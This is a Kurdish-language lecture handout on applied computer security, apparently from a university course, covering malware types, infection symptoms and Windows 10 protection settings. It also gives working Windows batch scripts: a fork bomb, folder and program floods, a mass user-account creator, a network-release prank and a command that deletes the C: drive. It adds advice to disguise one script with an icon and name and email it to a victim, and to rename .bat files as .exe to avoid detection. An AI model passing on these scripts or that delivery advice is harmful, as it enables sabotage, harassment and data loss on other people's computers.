جێبەجێکردنەکانی

# پاراستن

## بە شێوەی کرداریی

## Applications of Security

هێمن مەلا کەریم بەرزنجی

hemn.barznji@spu.edu.iq

# وانەی یەك

# ماڵوێر

## دروستکردنی ڤایرۆس و رێگری و خۆپارێزیی



مالۆێر Malware لە هەردوو وشەی Malicious Software وەرگیراوە و، بریتییە لەو زاراوەیەی کە هەموو جۆرەکانی بەرنامە پیس و زیانبەخشەکان دەگرێتەوە و، هەموویان لە ژێر ئەم ناوەدا جێگەیان دەبێتەوە، وەکو ڤایرۆسەکان Viruses، کرمەکان Worms و ئەسپی تەڕوادە Trojan Horses.

هەموو یان بەشێوە و ڕێگەی جیاواز کاردەکەن و، بچووکن و، خزمەتگوزاری پێشکەش ناکەن و زنجیرەیی نین، بەڵام هەموویان دەتوانن کۆمپیوتەر تووشبکەن Infect و گەندەڵی بکەن Corrupt. دەتوانرێت دابەزێنرێت و بێتە ناو کۆمپیوتەرەوە لە ڕێگەی ئیمەیڵەوە E-Mail ، یان فایلەوە File، لە ئینتەرنێتەوە، هەروەها دەتوانن بڵاو ببنەوە و دابەش ببن بەهۆی تۆڕەکانەوە Networks.

بەشێوەیەکی گشتی بەکاردێت بۆ سازشکردنی کارەکانی کۆمپیوتەر، دزینی زانیاری، تێپەراندنی دەستبەسەراگرتنی دەستپێگەیشتن Access Control. یان بە پێچەوانەوە دەبێتە هۆی مەترسی بۆ کۆمپیوتەری خانەخوێ Host. مالۆێر زاراوەیەکی زۆر باو و بلاوە و، بەکاردێت بۆ جۆرەجیاوازەکانی بەرنامەی زیان بەخش و خراپ، گرنگترینیان بەوردی دەخەینەروو، بەلام جۆرەکانی تریان بە کورتی باس دەکەین.

## یەکەم// ڤایرۆسەکان: Viruses

ڤایرۆسەکان درووست دەکرێن بە بەکارهێنانی بەرنامەکانی کۆمپیوتەر و زمانەکانی بەرنامەسازیی لەلایەن مرۆڤەکانەوە، پێیان دەوترێت ڤایرۆس لەبەر ئەوەی کۆمپیوتەر تووش دەکەن Infect و گرفتی بۆ دروست دەکەن، ڤایرۆسەکان لەوانەیە زۆر کاریگەرییان هەبێت Effect، هەندێك لەوانە کاریگەرییان کەمە و، هەندێکیان ناوەندە و، هەندێکیان کاریگەرییان زۆر زۆرە و ، ویرانکەر و تێکدەرن.

دەتوانین ڤایرۆسی کۆمپیوتەر بەوە پێناسە بکەین کە، بەرنامەیەکی بچوکە، یان بەشێکە لە کۆد ، کە هاوپێچ Attach ی بەرنامەی تر دەکرێت و، بڵاو دەبێتەوە کاتێك بەرنامەی خانە خوێ و هەڵگر Host Program لەبەری دەگیرێتەوە Copied ، لەلایەن بەکارهێنەرەوە، بۆ

کۆمپیوتەرێکی تر، یان دادەبەزێتە ناو ئامێری کۆمپیوتەر لە ڕێگەی تۆڕەکانی ئینتەرنێتەوە کاتێك بەرنامەی خانەخوێ Host Program و هەڵگر، دادەنرێت لەناو تۆڕەکان Networksدا. بەڵام بەزۆری بەهۆی فلاش و دیڤیدی و ..... ،دەگوێزرێتەوە لە ئامێرێکەوە بۆ ئامێرێکی تر.

## زیانەکانی ڤایرۆس

١-خاوکردنەوەی کۆمپیوتەر ( توانای وەڵام دانەوەی کەمدەبێتەوەو، جێبەجێبوونی بەرنامەکانیش خاودەبێتەوە).

٢-لەناوبردنی هەندێك فایل و فۆڵدەر و، هەندێك جار فایلی بەرنامەکانیش.

٣-هەندێك جار پارچەکانی کۆمپیوتەر تێك دەشکێنێ و لەناویان دەبات، یان دەیان سوتێنێت.

٤-تێکدانی وێنە و نووسین.

٥ -تێکدانی بەرنامەکانی کۆمپیوتەر.

## خۆپاراستن لە ڤایرۆس

١- وەرگرتنی بەرنامە و فایل و ڤیدیۆ و دەنگ، لە ماڵپەڕە (سایتە) باوەڕپێکراو و، ناسراوەکانەوە.

٢-سەردان نەکردنی ئەو ماڵپەڕانەی جێگەی گومانن (وەك ماڵپەڕە سێکسییەکان و ........ ).

٣-دابەزاندنی جۆرەکانی ئینتەرنێت فێروێڵ. Internet Firewall

٤-نەکردنەوەی ئیمەڵە گوماناوی و نەناسراوەکان و، داونلۆد نەکردنی فایلە نەناسراو و گوماناوییە هاوپێچەکان، کە لەگەڵ ئیمەیڵ دا هاتوون.

٥-دابەزاندنی یەکێك لە دژە ڤایرۆسە Anti-Virus بەهێزەکانی وەك (کاسپەر سکای ، نۆرتن ئەنتی ڤایرۆس، نۆدی ٣٢، یان هەر جۆرێکی تر.

-زانین و بڕیاردان لە بارەی جۆری ئەو دژە ڤایرۆسەی بەکاری دەهێنیت.

-زانین لەبارەی هەڵبژاردنەکانەوە کاتێك دژە ڤایرۆسەکە، ڤایرۆس دەدۆزێتەوە و، دەیگرێت. وەکو لابردنRemove ، سرینەوە Delete و. ......

-بەشێوەیەکی رێك و پێك و ماوە ماوە دژە ڤایرۆسەکە نوێبکرێتەوە Update ، بە جۆرێك کە هەمیشە نوێترین Newest نوێکراوە Updated وەربگریت.

-دڵنیابوون لەوە ی کە بەرنامەی دژە ڤایرۆسەکە، هەموو ئەو ئامێر و یەکانە ((فلاش میمۆری، دیڤیدی و ....)) بپشکنێت پێش ئەوەی بەکاریان بهێنین و بیانکەینەوە.

–دڵنیتابوونەوە بە پشکینینی هەموو ئەو فایلانی کە لە ئینتەرنێتەوە دای دەبەزێنیت Downloaded بۆ ناو کۆمپیوتەرەکەت.

# دروست کردنی سادەترین ڤایرۆس


# فۆرك بۆمب

Fork Bomb


بەهۆی ڤایرۆسی فۆرك بۆمبەوە، بەشێوەیەکی گشتی) یەکەی چارەسەر کردنی ناوەندی – CPU) جامدەبێت (دەوەستێت). بەهۆی کردنەوەی ٥٠٠ پرۆسەی کۆماند پرۆمپت Command Prompt، ئەمەش زەختێکی زۆر دەخاتە سەر CPU و کۆمپیوتەرەکە دەوەستێت.

بەرنامەی نۆت پاد بکەرەوە و ئەم کۆدەی تێدا بنووسە:

%0|%0




بەپاشگری دۆت بات .bat ، بە ناوێکەوە خەزنی بکە، بۆنمونە: forkbomb.bat




٣-ئێستا بۆمبەکەت دروست کرد و، کرداری دەستپێکردنەوە بەکار ( Restart – بۆ کۆمپیوتەرەکەت ئەنجامبدە، بۆ ئەوەی کارەکە تەواو سەرکەوتوو بێت و، جێبەجێببێت.

## ڕوونکردنەوە:

کۆدی ئەم ڤایرۆسە تەنها بۆ مەبەستی فێرکردن و تاقیکردنەوەیە، تا زیاتر لە ڤایرۆس تێبگەن و، ئیمە بەرپرسیار نین لە خراپ بەکارهێنانی و، هیوادارم بە خراپ بەکاری نەهێنن.

# دروست کردنی ڤایرۆسێك

# کە ١٠٠٠ فۆڵدەر دروست دەکات لە چەند چرکەیەك دا

ئەم ڤایرۆسە سادە و ساکارە، بەهۆیەوە بێ ئەژمار فۆڵدەر دروست دەکرێت لەهەر شوێنێکدا، کە بمانەوێ، وەدەتوانین وێنەیەکی جوانی بۆ دابنێین و، بە ناوێکی سەرنج ڕاکێشەوە خەزنی بکەین و، بینێرین بۆ هەر کەسێك کەبمانەوێ، کە بەهۆیەوە تارادەیەك بێزار دەبێت و، هەست بە ڕووداوێکی لەناکاو و، چاوەڕوان نەکراو دەکات .

**هەنگاوی یەکەم:**

**بەرنامەی نۆت پاد بکەرەوە و، ئەم کۆدەی تێدا بنووسە:**

```
@echo off
: top
md %random%
goto top
```

**شیکردنەوەی کۆدەکە:**

**دێڕی یەکەم: ئەوە دروست دەکات کە دەربکەوێت لە شاشەیەکی بەتاڵدا.**

**دێڕی دووەم:**

**تەنها ناونیشانێکە.** Label

**دێڕی سێهەم:**

**ئەم کۆماندە بەکاردێت بۆ دروست کردنی فۆڵدەرەکان، کە بە شێوەیەکی عەشوائی –** (Randomly ) **ناو لە فۆڵدەرەکان دەنێت.**

**دێڕی کۆتایی:**

**گەڕانەوەیە بۆ لەیبڵی تۆپ و، لووپ کردنی بێ پایان ((نا کۆتا)).** Infinite loop

**هەنگاوی دووەم:**

**بەناوێکەوەو، با پاشگری بات** bat**. پاشەکەوتی بکە،وەکو.** pleasereadme.bat

**هەنگاوی سێهەم:**

**ئەگەر ویستت خۆت دەتوانیت وێنەیەکی وەکو ئایکۆن بۆ دابنێیت، یان ناوەکەی بگۆڕیت، یان ....... ، بە ئیمەیڵ بینێریت بۆ ئەو کەسەی مەبەستتە بێزاری بکەیت، یان. .........**

# ڕوونکردنەوە:


**کۆدی ئەم ڤایرۆسە تەنها بۆ مەبەستی فێرکردن و تاقیکردنەوەیە، تا زیاتر لە ڤایرۆس تێبگەن و، ئیمە بەرپرسیار نین لە خراپ بەکارهێنانی و، هیواداریین بە خراپ بەکاری نەهێنن.**

# کردنەوەی نۆت پاد یان هەر بەرنامەیەکی تر

بەرنامەی نۆت پاد Note Pad بکەرەوە و، ئەم کۆدەی خوارەوە بنووسە:

```
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
```

فایلەکە پاشەکەوت Save بکە، بە پاشگری دۆت بات.bat ، بۆنمونە: notepad.bat




## ڕوونکردنەوە:

کۆدی ئەم ڤایرۆسە تەنها بۆ مەبەستی فێرکردن و تاقیکردنەوەیە، تا زیاتر لە ڤایرۆس تێبگەن و، ئیمە بەرپرسیار نین لە خراپ بەکارهێنانی و، هیوادارم بە خراپ بەکاری نەهێنن.

# دووەم// کرمەکان Worms

**جۆرێکی ماڵوێرن،خۆیان کۆپی دەکەن و بەناو تۆڕەکاندا بلاودەبنەوە،پێویستیان بەوە نییە هاوپێچ Attach ی بەرنامەی ترین بۆ بلاو بوونەوەیان، هەروەها پێویست ناکات بەکارهێنەر دەست تیوەردان و دەست کێشانە ناوی Intervention هەبێت بۆ بلاوبوونەوە Spreadو پەخشکردنی کرمەکان.**

**کرمەکان زۆر جۆری جیاوازیان هەیە وەکو:**

**١. کرمەکانی نامەی ئەلیکترۆنی E-Mail Worms : ئەو کرمانەن کە نامەکان تووش دەکەن، و دەگوێزرێنەوە و دەجوولێن بەهۆی لینکی ئێچ تی ئێم ئێلەوە HTML Link ، یاخوود بە هۆی هاوپێچەکانی نامەوە E-Mail Attachment کە دەنیردرێت، لە لایەن سایتە تووشبووەکانەوە کە کرمیان هەیە و، ئەگەر بەکارهێنەر هاوپێچەکانی نامەکە، یان لینکی ئێچ تی ئێم ئێڵ بکاتەوە، کرمی ئیمەیڵ توانای تووشکردنی سیستەمی کۆمپیوتەری هەیە. Computer System کرمەکانی ئیمەیڵ توانای دزین و بەکارهێنانی ناونیشانی ئیمەیڵی بەکارهێنەری هەیە لە دەفتەری ناونیشانەوە Address Book یان لە سەرچاوەکانی بەرنامەی ترەوە Other Program Sources . بێگوومان تۆمەتبار کردنی هەڵە روودەدات کاتێك بەکارهێنەر نازانێت کام لەو نامانەی بۆی هاتووە، نامە تووشبووەکە بووە.**

**٢. کرمەکانی ئینتەرنێت: Internet Worms**

**کرمەکانی ئینتەرنێت هەولدەدەن بۆ دۆزینەوەی خاڵی لاواز و نەپارێزراوی سیستەمی کۆمپیوتەر Vulnerable Computer System ، بەهۆی پشکنینی تۆڕەکانی کۆمپیوتەر بە بەکارهێنانی سیستەمی کارپێکەری ناوچەیی Local Operating System. دووای ئەوەی کرمەکانی ئینتەرنێت خالێکی پێکەوە بەستنی جێگیریان Stable Connection دۆزییەوە، دەستپێکەیشتنی تەواو بەدەست دەهێنن بۆ سیستەمی کۆمپیوتەر و، بە ئاسانی**

داغڵی دەبن، کرمەکانی ئینتەرنێت توانا و لێهاتوییان هەیە بۆ دابەزاندنی بەرنامە Install Programو، ناردنی زانیاری بۆ سیستەمی کۆمپیوتەری تووشبوو.

٣. کرمەکانی چاتی وەرگرتن و پیارۆشتن بە ئینتەرنێت دا Internet Relay Chat (IRC) Worms :

کرمەکانی چات ئامانجیان ژوورەکانی چاتە chat room یان ساحەکانی نامە Message Forums، کە بەشێوەیەکی گشتی ناسراوون وەکو ریّرە و ((چەناڵ)) ی چات Chat Channel، بەهۆی ناردنی لینکی سایتێکی توشبووەوە، یان فایل بۆ بەکارهێنەر، ئەم جۆرەیان کەمتر کاریگەری هەیە لە چاو جۆرەکانی تری کرمی کۆمپیوتەر دا، چونکە وەرگری کرمەکە دەبێت پشت راستی بکاتەوەConfirm ، پاشەکەوتی بکات Save و بیکاتەوە Open ، بۆ تووشکردنی سیستەمی کۆمپیوتەرەکە.

٤. کرمەکانی نامە و پەیامە هەنووکەییەکان: Instant Message Worms

ئەم کرمانە دەردەکەون لە بەرنامەی نامە و پەیامە هەنووکەییەکان دا Instant Messages Applications، وەکو یاهو مێسنجەرYahoo ! Messenger ، و ناردنی لینکی سایتێکی توشبوو بۆ پەیوەندییەکەت دەکەنە هۆکاری تووشکردنی کۆمپیوتەر، ئەم کارەش وەکو کرمەکانی ئیمەیڵ وایە، بەڵام لیستی پەیوەندی پەیامبەر بەکاردەهێنێت بۆ بڵاوکردنەوەی لینکە تووشبووەکان.

٥. کرمەکانی رایەڵەی بڵاوکردنەوەی فایل: File – Sharing Network Worms

ئەم کرمانە خۆیان کۆپی دەکەنەناو Copy فوڵدەری هاوبەش و بڵاوکراوە Shared Folder و، تیایدا دەردەکەون وەکو اوێکی بێزیان. یەك فایل دەستدەکات بە بڵاوکردنەوە و تووشکردن بە ناو تۆری بڵاوکردنەوەی فایل File – Sharing Network دا، ئەم کاری تووش کردنە بەر دەوام دەبێت، هەتاوەکو سیستەمەکانی تریش تووش دەکات.

# نیشانەکانی کرمی کۆمپیوتەر

## Symptoms of Computer Worm

کاتێك کرمەکان کۆمپییوتەرەکان تووشدەکەن، بە هۆی کۆمەڵێك نیشانەی دیار و بەر چاوەوە دەتوانین ئەم تووش بوونە هەست پێبکەین و، دیاری بکەین، بەشێوەیەکی گشتی نیشانەکان ئەمانەی لای خوارەوەن:

١. خاو کردنەوەی جیبەجێکردنی کۆمپیوتەر. Computer Performance

٢. لە جولەخستن و وەستان لە نرخێکدا Freezing و هەرەسهێنان و تیکشکانێکی کوتوپڕ و لەناکاو. Crashing

٣. کرانەوە و جیبەجێکردنی بەرنامە بەشێوەیەکی خۆکاری و ئۆتۆماتیکی.

٤. نارێك و پێکی لە جێبەجێکردن و کارکردنی ویبگەڕ Web Browser ڕوودەدات.

٥. هەلسووکەوت و ڕەفتار نا ئاسایی دەبینرێت وەکو نامە، وێنە،دەنگ و. ....

٦. ئاگادارکردنەوەی دیواری ئاگرین Firewall دەبینرێت.

٧.لە دەستچوون و گۆڕانکاری بچووك لە فایلدا ڕوودەدات.

٨. دەرکەوتنی نامە و پەیامی بوونی هەڵە و گرفت لە سیستەم و سیستەمی کارپێکردن Operating Systemدەردەکەوێت.

٩. نامەی نیردراو بۆ پەیوەندییەکانت بەبێ ئەوەی زانیاری لەسەر نیرەرەکەی زانراو و بەردەست بێت.

# سێهەم: ئەسپی تەڕوادە

## Trojan horse

ئەم ئەسپی تەروادەیە جۆرێکی تری ماڵوێرە. بەرنامەیە کە دەردەکەوێت لە شێوەیەکی سوودبەخش Useful دا، بەڵام کاتێك بەرنامەکە جێبەجێدەکرێت لەگەڵیدا بەرنامەیەکی زیانبەخش و پیس Malicious یان فرمانێك Command دادەبەزێت Install یان جێبەجێدەبێت لەسەر کۆمپیوتەرەکە، بە بێ ئەوەی بەکارهێنەر زانیاری هەبێت لە بارەیەوە.

# جۆرەکانی ئەسپی تەروادە

## Trojan Horses Types

١ .ترۆجانەکان دەستپێگەیشتن و داغڵبوون لە دوورەوە. Remote Access Trojans

٢ .ترۆجانەکانی ناردنی زانیاری Data Sending Trojans یان ناردنی تێپەرە وشە Password Sending .

٣ .ترۆجانە تێکشکێنەرەکان. Destructive Trojans

٤ .ترۆجانەکانی نوێنەری و جێگری. Proxy Trojans

٥ .ترۆجانەکانی (پرۆتۆکۆلی گواستنەوەی فایل) File Transfer Protocol (FTP) Trojans .

٦ .ترۆجانە لە کار خەر و زەبوونکەرەکانی بەرنامەی پاراستن Security Software Disabler Trojans .

٧ .ترۆجانەکانی هێرشکرنەسەر پەسەند نەکردنی خزمەتگوزاری Denial – of – Service Attack (DoS) Trojans .

٨ .ترۆجانەکانی کوشتن و تیکشکاندنی سیستەم System Killing Trojans

٩.ترۆجانەکانی بۆمبی ئیمەیڵ. Mail – Bomb Trojans

# مەبەست و بەکارهێنانەکان

## Purpose & Uses

- دزینی پارەی ئەلیکترۆنیکی. Electronic Money
- بەکارهێنانی ئامێر وەکو بەشێك لە بووتنێت. Botnet
- دزینی زانیاری. Data Theft
- گۆرانکاری بچووك یان سرینەوەی فایل.
- دابەزاندن Downloading یان بەرزکردنەوە Uploading ی فایل بۆ مەبەستی جیاواز جۆراو و جۆر.
- بینین و تەماشاکردنی شاشەی بەکارهێنەر.
- سەیرکردنی کامێرای ئینتەرنێتی بەکارهێنەر.
- دەست بەسەراگرتنی سیستەمی کۆمپیوتەر لە دوورەوە .
- بەکارهێنانی کۆمپیوتەری تووشبوو وەکو نوێنەر و بریکار بۆ ئەنجامدانی چالاکی نایاسایی یان هێرشکردنەسەر کۆمپیوتەری تر.



# چوارەم//بەرنامەکانی جاسوسی

## Spy Ware

**بەرنامەی جاسوسی Spy Ware جۆرێکیماڵوێرە، کە کاری جاسووسی دەکات لەسەر چالاکییەکانی بەکارهێنەر، توانای ئەم جاسووسی کردنە چاودێری چالاکیی Activity Monitoring، کۆکردنەوەی پەنجەپیانانەکانی کیبۆرد Collect Keystroke واتە هەر پەنجەنانێك بە هەر دووگمەیەکی کیبۆرد دا وەردەگرێت و، کۆی دەکاتەوە و بەکاری دەهێنێت، هەروەها زانیاری ژمێرەیی، داغڵبوون، زانیاری مالی.**

**بەرنامەی جاسووسی Spy Ware بەشێوەیەکی گشتی بەکاردێت بۆ دزینی زانیاری نهێنی و تایبەتی و گرنگ.**



# جۆرەکانی تری ماڵوێر

## Other Types of Malware

جۆرە گرنگ و باوەکانی ماڵوێرمان بە وردی روونکردەوە، بەلام جۆرەکانی تر بە کورتی باسیان دەکەین و، وردەکاری تەواو ناخەینە روو لە بارەیەوە:

١.ئەدوێر : Adware کورتکراوەی بەرنامەی پاڵپشتی کردنی ئاگانامەییە – Advertising Supported Software، و جۆرێکی ماڵویرە کە ئاگانامەدادەنێت بەشێوەیەکی خۆکاری، واتە بەرنامەی ئاگانامەیی بێزارکەرە و، کەمترین ترسناکی و زۆرترین قازانجی هەیە، ئەدوێر ریکلام و ئاگاداری پیشان دەدات لەسەر کۆمپیوتەری بەرامبەر .



٢. بووت : Bot ئەو بەرنامانەیە کە دروستکراوە بۆ جیبەجیکردنی کارێکی دیاری کراو، بە شێوەیەکی خۆکار. لەکاتێکدا هەندێك لە بوتەکان دروستکراون بۆ هەندێك کار و بەشێوەیەکی رێژەیی بێزیانن. وەکو یاری ڤیدیۆیی Video Gaming و، بانگەوازی ئاشکرایی ئینتەرنێتی، پێشبرکێی راستەوخۆ و ئۆن لاین.



٣. رووتکیت : Rootkit جۆرێکی ماڵوێرە و، درووستکراوە بۆ مەبەستی دەستپێگەیشتن و دەست بەسەراگرتن لە دوورەوە، بە بێ ئەوەی پێی بزانرێت لەلایەن بەکارهێنەرەوە یان بەهۆی بەرنامەکانی پاراستنەوە .



# ئەرکی ماڵەوە

## Homework

**لە ماڵەوە، ئەم ڤیرۆسانە درووست بکە و تاقییان بکەرەوە، تا زیاتر لە ڤایرۆس وکارکردنی تێبگەیت.**

## بۆمبەری بەرنامە Application Bomber

**ئەم کۆدە بۆ دروستکردنی ڤایرۆسێکە کاتێ چالاککرا، ئەوبەرنامانەی لە کۆدەکەدا دیاری کراوە دەکاتەوە، بە شێوەی بەردەوام و یەك بە دووا یەك:**

```
@echo off
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
```

# دروستکردنی ژمارەیەکی زۆر ئەژمار

## User Account Flooder

ئەم کۆدە بۆ دروستکردنی ڤایرۆسێکە کاتێ چالاککرا، ژمارەیەکی زۆر ئەژمار Account درووست دەکات:

```
@echo off
:xnet
user %random% /add
goto x
```

# وەستاندنی ئینتەرنێت

## Stop Internet Access

ئەم ڤایرۆسە زیانی نییە و بۆ شۆخیکردن Prank لەگەڵ هاورێ و دۆستان بەکاردێت، بە نووسینی ئەم پارچە کۆدەی خوارەوە:

***@Echo off***
***Ipconfig /release***

# ڤایرۆسی ترسناک

## Dangerous Virus

**هەموو ئەو ڤایرۆسانەی لە پێشەوە باسکران، نموونەی ڤایرۆسی کەم زیانن و ترسناک نین، بەڵام جۆرە ڤایرۆسەیان ترسناکە و نابێت لەسەر کۆمپیوتەرێك تاقیبکرێتەوە کەزانیاری پێویست و گرنگی تێدابێت. چونکە ئەم ڤایرۆسە بە ((ویندۆز هاکەر** Windows Hacker **)) ناسراوە و، دەبێتە هۆی سڕینەوەی هەموو سی** C:\ **بە جۆرێك ناتوانرێت بگێڕدرێتەوە و سوودی لیببینرێتەوە.**

**بۆیە تکایە وریای تاقیکردنەوەی ئەم ڤایرۆسە بن.**

```
@Echo off
Del C:\ *.* |y
```

# ڕونکردنەوە:

**یەك// ئەم ڤایرۆسانە تەنها بۆ مەبەستی فێرکارییە. تکایە ئاگاداربن.**

**دوو// بات فایل** BAT File **فایل باچی دۆسە** DOS Batch File **کە بەکاردێت بۆ جێبەجێکردنی فەرمانەکان** Execute Commands **لەگەڵ** Windows Command Prompt.

**سێ// دەتونرێت فایلی دۆت بات بگۆڕدرێت بۆ دۆت ئی ئێکس ئی تا زیاتر کاریگەر بێت و وەك فایلی ڤیرۆس و پارچە کۆد نەناسرێتەوە.**

# خۆپارێزیی لە ماڵوێرەکان و لابردنیان

## Malware Prevention & Removal

١. دابەزاندن و بەکارهێنانی دژە ماڵوێر Anti-Malware ، هەروەها بەرنامەی دیواری ئاگرین Firewall Software ، وەلیٚ پێویستە ئەو بەرنامەیە هەلبژێرین کە خزمەتگوزاری پێشکەش دەکات بۆ دۆزینەوەی جۆری جیاوازی ماڵوێر و هەروەها لابردن و چارەسەر کردنیان، لانی کەم، بەرنامەی دژە ماڵوێر پێویستە پارێزگاری بکات دژی (ڤایرۆس Virus ، بەرنامەی جاسووسی Spy Ware ، ئەد وێر Adware ، ئەسپی تەروادە Trojan Hors ، و کرمەکان . Worms خۆ ئەگەر بەرنامەکە پێکهاتبێت لە دژە ماڵوێر و دیواری ئاگرین پێکەوە، ئەوە زۆر باشترە لە رووی پاراستنەوە.

٢. نوێکردنەوە Update ی بەرنامە و سیستەمی کارپێکردن بۆ پینەکردنی خاڵە لاوازەکان، و نەهیشتنی لاوازی و بەهێز کردن، ئەمەش دەمان پارێزێت لە هێرشەکان.

٣. پێویستە بە ئاگاییەوە فایل و بەرنامە و هاوپێچەکان وەربگرین Download بۆ ناو کۆمپیوتەرەکەمان، لەسەرچاوەی باوەرپێکراوەوە دای ببەزێنین.

# تایبەتمەندییەکانی پاراستن لە ویندۆزی ١٠ دا

## Security features in Windows 10


لە ویندۆزی ١٠ دا، ژمارەیەك تایبەتمەندی داندراوە بۆ پاراستنی کۆمپیوتەر بە شێوەیەکی گشتی و لە مالۆێر بەتایبەتی. لێرەدا باس لە گرنگترینی ئەوتایبەتمەندییانە دەکەین.

## یەك - جلەوگیری هەژماری بەکارهێنەر


## User Account Control

ئەم تایبەتمەندی یە، ئاگاداری و بیرخستنەوە دەدات لەکاتێکدا بەرنامە یان بەکارهێنەر هەوڵبدات بۆ گۆڕینی ڕێکخستن و تایبەتمەندی کۆمپیوتەر، شاشەکەت بە شێوەیەکی کاتی دەوەستێت Temporarily Locked ، هەتاوەکو بەریوەبەر ئەو بەکارهێنانە پشت ڕاست دەکاتەوە و ڕەزامەندی دەدات لەسەر گۆڕانەکە، ئەم یارمەتی یە بۆ پاراستنی کۆمپیوتەرە دژی مالۆێر Malicious Software ، و گۆڕانە بە ڕێکەوت و لەپڕەکان Accidental Changes.


بۆ چالاککردنی ئەم تایبەتمەندییە سەرەتا بەشی جلەوگیری دەکەینەوە :Control Panel



پاشان بەشی هەژمارەکانی بەکارهێنەر User Account دەکەینەوە:




کلیك لەسەر Change User Account Control Setting دەکەین و دەیکەینەوە:





سەرەتای سەرنجپێدان بریتییە لە Always Notify واتە هەمیشە سەرنج هەبێ، کۆتاییەکەشی بریتییە لە Never Notify واتا هیچکاتێ سەرنجمان پێنەدات و ئاگادارمان نەکاتەوە.


# دوو - بەرنامەی ویندۆز دیفیندەر

## Windows Defender

بەرنامەی ویندۆز دیفیندەر، دژە ڤایرۆسەکان و پاراستنی مالویڕ Anti-Viruses and Malware Protection ، دابین دەکات بۆ پاراستنی کۆمپیوتەرەکەمان، هەروەها بۆ پشکنینی کۆمپیوتەرەکەمان دژی بەرنامە زیان بەخشەکان، ویندۆز دیفیندەر پاراستنی کاتی راستەوخۆ Real – Time Protection دابین دەکات.

بەشی جڵەوگیری Control Panel دەکەینەوە، پاشان کلیك لەسەر Windows Defender Firewallدەکەین و دەیکەینەوە، دوواتر ئەگەر لە کارکردن وەستێنرابوو بە هۆی بەشی Turn Windows Defender Firewall On or Off کاری پێدەکەینەوە، بە پێچەوانەوەش بە هۆی هەمان بەس دەیوەستێنینەوە ئەگەر ویستمان.







# سێ - پاراستن لە ڤایرۆس و هەڕەشە


## Virus & threat protection

**ئەم تایبەتمەندی یە لە  ناو ویندۆز ١٠ دایە و یارمەتیمان دەدات بۆ پشکنینی ئامێرەکە و پاراستنی لە هەڕەشە وڤایرۆس :**


**کلیك لەسەر دووگمەی دەستپێکردن** Start **دەکەین، پاشان سەهمی ماوسەکە دەبەینە سەر دووگمەی ڕێکخستنەکان** Setting **و کلیکی لەسەر دەکەین:**




ئەم ڕووکارە دەکرێتەوە، کلیك لەسەر پاراستن و نوێکردنەوە Update and Security دەکەین:




لەو ڕووکارەی کراوەتەوە، کلیك لەسەر پاراستنی ویندۆز Windows Securityدەکەین:



کلیك لەسەر پاراستنی لە ڤایرۆس وهەڕەشە Virus and Threat Production دەکەین، ئەم ڕوکارە دەکرێتەوە:




بە هۆی ئەم ڕووکارەوە دەتوانین پشکنین Scan بکەین بۆ هەر هەڕەشەیەکی هەنووکەی Current Threat کە لەسەر ئامێرەکە هەبێت و بیدۆزینەوە. هاوکات دەتوانین گۆڕانکاری بکەین لە هەڵبژاردن و تایبەتمەندییەکانی پاراستنی ویندۆز Windows Securityدا.